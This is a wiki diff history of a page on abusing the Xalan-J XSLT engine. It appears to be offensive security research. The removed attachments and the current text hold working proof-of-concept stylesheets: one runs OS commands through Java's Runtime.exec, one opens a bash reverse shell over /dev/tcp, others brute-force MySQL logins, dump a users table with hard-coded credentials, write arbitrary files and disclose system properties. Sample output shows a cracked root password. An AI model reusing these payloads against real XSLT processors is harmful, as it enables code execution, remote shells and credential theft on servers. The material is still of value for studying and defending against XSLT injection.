Changes for page Engine_XalanJ
on 2012/01/12 23:04
on 2012/01/11 22:54
Summary
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Page properties (1 modified, 0 added, 0 removed)
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Attachments (0 modified, 0 added, 10 removed)
Details
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... ... @@ -19,23 +19,15 @@ 19 19 20 20 == Special features == 21 21 22 -* Java properties disclosure 23 -* Java environment disclosure 24 -* Java code execution 25 -* OS command execution 26 26 * File creation 23 +* Code execution 27 27 * JDBC connectivity 25 +* Java properties disclosure 26 +* Java environment disclosure 28 28 29 -== Java properties disclosure == 30 - 31 -The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. In this example, the name of the Java properties is stored in a separate XML file ([[properties.xml>>attach:properties.xml]]). The XSLT code will, for each property, display its name and its value. 32 - 33 -|=Namespace|=Function|=PoC|=Sample output 34 -|http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]] 35 - 36 36 == Java environment disclosure == 37 37 38 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context ( including availablepackages, paths, versions, ...).30 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...). 39 39 40 40 |=Namespace|=Extension function|=PoC|=Sample output 41 41 |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]] ... ... @@ -44,65 +44,25 @@ 44 44 45 45 The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution. 46 46 39 + 47 47 |=Namespace|=Extension function|=PoC|=Sample output 48 -|http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: 49 -Wed Jan 11 22:45:07 CET 2012 41 +|http:~/~/xml.apache.org/xalan/java/java.util.Date|new|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: Wed Jan 11 22:45:07 CET 2012 50 50 51 -== OS command execution == 52 52 53 - OnceJava code executionis possible,it is trivial toexecutearbitraryOScommandsusing the java.lang.Runtime class.44 +== Execution of external commands == 54 54 55 - ===Command withoutoutput===46 +The following code will execute the command "touch /tmp/hello" : 56 56 57 -The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-) 58 - 59 -|=Namespace|=Extension functions|=PoC 60 -|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]] 61 - 62 -__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]]. 63 - 64 -=== Reading stdout === 65 - 66 -As the output have an unknown number of lines, we must use a loop construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables (using <loop:update>), but the syntax is awful and error prone. 67 - 68 -It's far more efficient to 1) write loops using non-standard elements like <loop:while> 2) convert them in stylesheets using only templates and recursion. This conversion can be done with a tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]] (which is itself in XSLT). 69 - 70 -|=Using non standards elements|=Using recursion and templates|=Commands to execute|=Output 71 -|[[xalanj-reading-stdout.lxsl>>attach:xalanj-reading-stdout.lxsl]]||[[xalanj-reading-stdout.xsl>>attach:xalanj-reading-stdout.xsl]]||[[unix_commands.xml>>attach:unix_commands.xml]]||[[xalanj-reading-stdout.txt>>attach:xalanj-reading-stdout.txt]] 72 - 73 -xx 74 - 75 -=== A pure Java reverse-shell === 76 - 77 -It is afaik not possible to get a pure Java reverse-shell, as we can't create threads :-( 78 - 79 -== File creation == 80 - 81 -The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten. 82 - 83 -|=Namespace|=Extension element|=Parameter|=PoC 84 -|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]] 85 - 86 -== JDBC connectivity == 87 - 88 -It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver. 89 - 90 -=== Simple connection === 91 - 92 -The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result. 93 - 94 -|=Namespace|=Extension function|=PoC 95 -|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] 96 - 97 -=== Credentials brute-forcing === 98 - 99 -The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-). 100 - 101 - 102 -Here's the output when launched from the CLI : 103 - 104 -##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null 105 -Username : [root] / Password : [] : 106 -Username : [root] / Password : [uberpasswd] : 107 -Username : [root] / Password : [cnam] : OK !! 108 -Username : [pma] / Password : [pma] : ## 48 +<?xml version="1.0"?> 49 +<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform" 50 + xmlns:j="http:~/~/xml.apache.org/xalan/java" 51 + exclude-result-prefixes="j" 52 + version="1.0"> 53 + <xsl:template match="/"> 54 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable> 55 + <xsl:variable name="a" select="j:split($c, ' = ')"/> 56 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/> 57 + <xsl:variable name="p" select="j:exec($r, $a )"/> 58 + No content at the moment ... 59 + </xsl:template> 60 +</xsl:stylesheet>
- properties.xml
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... ... @@ -1,73 +1,0 @@ 1 -<properties> 2 -<property>awt.toolkit</property> 3 -<property>browser</property> 4 -<property>browser.vendor</property> 5 -<property>browser.version</property> 6 -<property>file.encoding</property> 7 -<property>file.encoding.pkg</property> 8 -<property>file.separator</property> 9 -<property>file.separator.applet</property> 10 -<property>http.agent</property> 11 -<property>java.awt.graphicsenv</property> 12 -<property>java.awt.printerjob</property> 13 -<property>java.class.path</property> 14 -<property>java.class.version</property> 15 -<property>java.class.version.applet</property> 16 -<property>java.endorsed.dirs</property> 17 -<property>java.ext.dirs</property> 18 -<property>java.home</property> 19 -<property>java.io.tmpdir</property> 20 -<property>java.library.path</property> 21 -<property>java.runtime.name</property> 22 -<property>java.runtime.version</property> 23 -<property>java.specification.name</property> 24 -<property>java.specification.vendor</property> 25 -<property>java.specification.version</property> 26 -<property>java.vendor</property> 27 -<property>java.vendor.applet</property> 28 -<property>java.vendor.url</property> 29 -<property>java.vendor.url.applet</property> 30 -<property>java.vendor.url.bug</property> 31 -<property>java.version</property> 32 -<property>java.version.applet</property> 33 -<property>java.vm.info</property> 34 -<property>java.vm.name</property> 35 -<property>java.vm.specification.name</property> 36 -<property>java.vm.specification.vendor</property> 37 -<property>java.vm.specification.version</property> 38 -<property>java.vm.vendor</property> 39 -<property>java.vm.version</property> 40 -<property>javax.accessibility.assistive_technologies</property> 41 -<property>line.separator</property> 42 -<property>line.separator.applet</property> 43 -<property>os.arch</property> 44 -<property>os.arch.applet</property> 45 -<property>os.name</property> 46 -<property>os.name.applet</property> 47 -<property>os.version</property> 48 -<property>os.version.applet</property> 49 -<property>package.restrict.definition.java</property> 50 -<property>package.restrict.definition.sun</property> 51 -<property>path.separator</property> 52 -<property>path.separator.applet</property> 53 -<property>sun.arch.data.model</property> 54 -<property>sun.boot.class.path</property> 55 -<property>sun.boot.library.path</property> 56 -<property>sun.cpu.endian</property> 57 -<property>sun.cpu.isalist</property> 58 -<property>sun.desktop</property> 59 -<property>sun.io.unicode.encoding</property> 60 -<property>sun.java.launcher</property> 61 -<property>sun.jnu.encoding</property> 62 -<property>sun.management.compiler</property> 63 -<property>sun.os.patch.level</property> 64 -<property>user.country</property> 65 -<property>user.dir</property> 66 -<property>user.home</property> 67 -<property>user.language</property> 68 -<property>user.name</property> 69 -<property>user.timezone</property> 70 -<property>user.variant</property> 71 -<property>user.zoneinfo.dir</property> 72 -</properties> 73 -
- unixcommands.xml
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... ... @@ -1,8 +1,0 @@ 1 -<data> 2 -<command>id</command> 3 -<command>date</command> 4 -<command>ifconfig lo</command> 5 -<command>tree /var/cache/apt</command> 6 -<command>uname -a</command> 7 -</data> 8 -
- xalanj-java-date.xsl
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... ... @@ -1,11 +1,0 @@ 1 -<xsl:stylesheet version="1.0" 2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 - xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" 4 - exclude-result-prefixes="date"> 5 - <xsl:output method="text"/> 6 - <xsl:template match="/"> 7 - <xsl:variable name="dateObject" select="date:new()"/> 8 - <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/> 9 - </xsl:template> 10 -</xsl:stylesheet> 11 -
- xalanj-java-properties-output.txt
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... ... @@ -1,73 +1,0 @@ 1 -<?xml version="1.0" encoding="UTF-8"?> 2 -awt.toolkit: 3 -browser: 4 -browser.vendor: 5 -browser.version: 6 -file.encoding: UTF-8 7 -file.encoding.pkg: sun.io 8 -file.separator: / 9 -file.separator.applet: 10 -http.agent: 11 -java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment 12 -java.awt.printerjob: sun.print.PSPrinterJob 13 -java.class.path: /usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar 14 -java.class.version: 50.0 15 -java.class.version.applet: 16 -java.endorsed.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/endorsed 17 -java.ext.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext 18 -java.home: /usr/lib/jvm/java-6-sun-1.6.0.26/jre 19 -java.io.tmpdir: /tmp 20 -java.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386/client:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/../lib/i386:/usr/java/packages/lib/i386:/lib:/usr/lib 21 -java.runtime.name: Java(TM) SE Runtime Environment 22 -java.runtime.version: 1.6.0_26-b03 23 -java.specification.name: Java Platform API Specification 24 -java.specification.vendor: Sun Microsystems Inc. 25 -java.specification.version: 1.6 26 -java.vendor: Sun Microsystems Inc. 27 -java.vendor.applet: 28 -java.vendor.url: http://java.sun.com/ 29 -java.vendor.url.applet: 30 -java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi 31 -java.version: 1.6.0_26 32 -java.version.applet: 33 -java.vm.info: mixed mode, sharing 34 -java.vm.name: Java HotSpot(TM) Client VM 35 -java.vm.specification.name: Java Virtual Machine Specification 36 -java.vm.specification.vendor: Sun Microsystems Inc. 37 -java.vm.specification.version: 1.0 38 -java.vm.vendor: Sun Microsystems Inc. 39 -java.vm.version: 20.1-b02 40 -javax.accessibility.assistive_technologies: 41 -line.separator: 42 - 43 -line.separator.applet: 44 -os.arch: i386 45 -os.arch.applet: 46 -os.name: Linux 47 -os.name.applet: 48 -os.version: 2.6.32-37-generic 49 -os.version.applet: 50 -package.restrict.definition.java: 51 -package.restrict.definition.sun: 52 -path.separator: : 53 -path.separator.applet: 54 -sun.arch.data.model: 32 55 -sun.boot.class.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes 56 -sun.boot.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386 57 -sun.cpu.endian: little 58 -sun.cpu.isalist: 59 -sun.desktop: gnome 60 -sun.io.unicode.encoding: UnicodeLittle 61 -sun.java.launcher: SUN_STANDARD 62 -sun.jnu.encoding: UTF-8 63 -sun.management.compiler: HotSpot Client Compiler 64 -sun.os.patch.level: unknown 65 -user.country: FR 66 -user.dir: /home/bob/foobar 67 -user.home: /home/bob 68 -user.language: fr 69 -user.name: bob 70 -user.timezone: 71 -user.variant: 72 -user.zoneinfo.dir: 73 -
- xalanj-java-properties.xsl
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... ... @@ -1,7 +1,0 @@ 1 -<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > 2 - <xsl:template match="//property"> 3 - <xsl:variable name="p" select="text()"/> 4 - <xsl:value-of select="$p"/>: <xsl:value-of select="system-property($p)"/> 5 - </xsl:template> 6 -</xsl:stylesheet> 7 -
- xalanj-jdbc-bruteforce.xml
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... ... @@ -1,35 +1,0 @@ 1 -<data> 2 - <foobar> 3 - <DBINFO> 4 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 5 - <dburl>jdbc:mysql://localhost/</dburl> 6 - <user>root</user> 7 - <password></password> 8 - </DBINFO> 9 - </foobar> 10 - <foobar> 11 - <DBINFO> 12 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 13 - <dburl>jdbc:mysql://localhost/</dburl> 14 - <user>root</user> 15 - <password>uberpasswd</password> 16 - </DBINFO> 17 - </foobar> 18 - <foobar> 19 - <DBINFO> 20 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 21 - <dburl>jdbc:mysql://localhost/</dburl> 22 - <user>root</user> 23 - <password>cnam</password> 24 - </DBINFO> 25 - </foobar> 26 - <foobar> 27 - <DBINFO> 28 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 29 - <dburl>jdbc:mysql://localhost/</dburl> 30 - <user>pma</user> 31 - <password>pma</password> 32 - </DBINFO> 33 - </foobar> 34 -</data> 35 -
- xalanj-jdbc-bruteforce.xsl
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... ... @@ -1,29 +1,0 @@ 1 -<?xml version="1.0"?> 2 - 3 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 4 - version="1.0" 5 - xmlns:sql="org.apache.xalan.lib.sql.XConnection" 6 - extension-element-prefixes="sql"> 7 - 8 -<xsl:output method="text" indent="yes"/> 9 -<xsl:variable name="query">SELECT "OK !!"</xsl:variable> 10 - 11 -<xsl:template match="//data"> 12 - <xsl:for-each select="foobar"> 13 - 14 - <xsl:variable name="cinfo" select="DBINFO"/> 15 - <xsl:variable name="user" select="DBINFO/user/text()"/> 16 - <xsl:variable name="passwd" select="DBINFO/password/text()"/> 17 - 18 - <xsl:variable name="db" select="sql:new($cinfo)"/> 19 - <xsl:variable name="data" select='sql:query($db, $query)'/> 20 - 21 - <xsl:copy-of select="concat('Username : [', $user, '] / ')" /> 22 - <xsl:copy-of select="concat('Password : [', $passwd, '] : ')" /> 23 - <xsl:copy-of select="$data" /><xsl:copy-of select="'
'" /> 24 - 25 - </xsl:for-each> 26 -</xsl:template> 27 - 28 -</xsl:stylesheet> 29 -
- xalanj-jdbc-query.xsl
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... ... @@ -1,22 +1,0 @@ 1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 - xmlns:sql="org.apache.xalan.lib.sql.XConnection" 3 - extension-element-prefixes="sql" 4 - version="1.0"> 5 - 6 -<xsl:output method="xml" indent="yes"/> 7 - 8 -<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/> 9 -<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/> 10 -<xsl:param name="user" select="'root'"/> 11 -<xsl:param name="pass" select="'14m31337'"/> 12 -<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/> 13 - 14 -<xsl:template match="/"> 15 - <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/> 16 - <xsl:variable name="table" select='sql:query($dbh, $query)'/> 17 - <xsl:copy-of select="$table" /> 18 - <xsl:value-of select="sql:close($db)"/> 19 -</xsl:template> 20 - 21 -</xsl:stylesheet> 22 -
- xalanj-reverse-bash.xsl
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... ... @@ -1,31 +1,0 @@ 1 -<xsl:stylesheet 2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 - xmlns:jv="http://xml.apache.org/xalan/java" 4 - exclude-result-prefixes="jv" 5 - version="1.0"> 6 - 7 - <xsl:template match="/"> 8 - 9 - <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable> 10 - <xsl:variable name="a" select="jv:split($test, ' ==== ')"/> 11 - <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/> 12 - <xsl:variable name="process" select="jv:exec($rtobject, $a )"/> 13 - 14 -Objet "String" : 15 - <xsl:value-of select="$test"/> 16 - 17 -Objet "Array" : 18 - <xsl:variable name="aAsString" select="jv:toString($a)"/> 19 - <xsl:value-of select="$aAsString"/> 20 - 21 -Objet "Runtime" : 22 - <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/> 23 - <xsl:value-of select="$rtobjectAsString"/> 24 - 25 -Objet "Process" : 26 - <xsl:variable name="processAsString" select="jv:toString($process)"/> 27 - <xsl:value-of select="$processAsString"/> 28 - 29 - </xsl:template> 30 -</xsl:stylesheet> 31 -
- xalanj-write.xsl
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... ... @@ -1,13 +1,0 @@ 1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 - xmlns:redir="http://xml.apache.org/xalan/redirect" 3 - extension-element-prefixes="redir" 4 - version='1.0'> 5 - 6 - <xsl:template match="/"> 7 - <redir:write file="/tmp/created_by_xalanj_write" method="text"> 8 - <xsl:text>Just a PoC</xsl:text> 9 - </redir:write> 10 - </xsl:template> 11 - 12 -</xsl:stylesheet> 13 -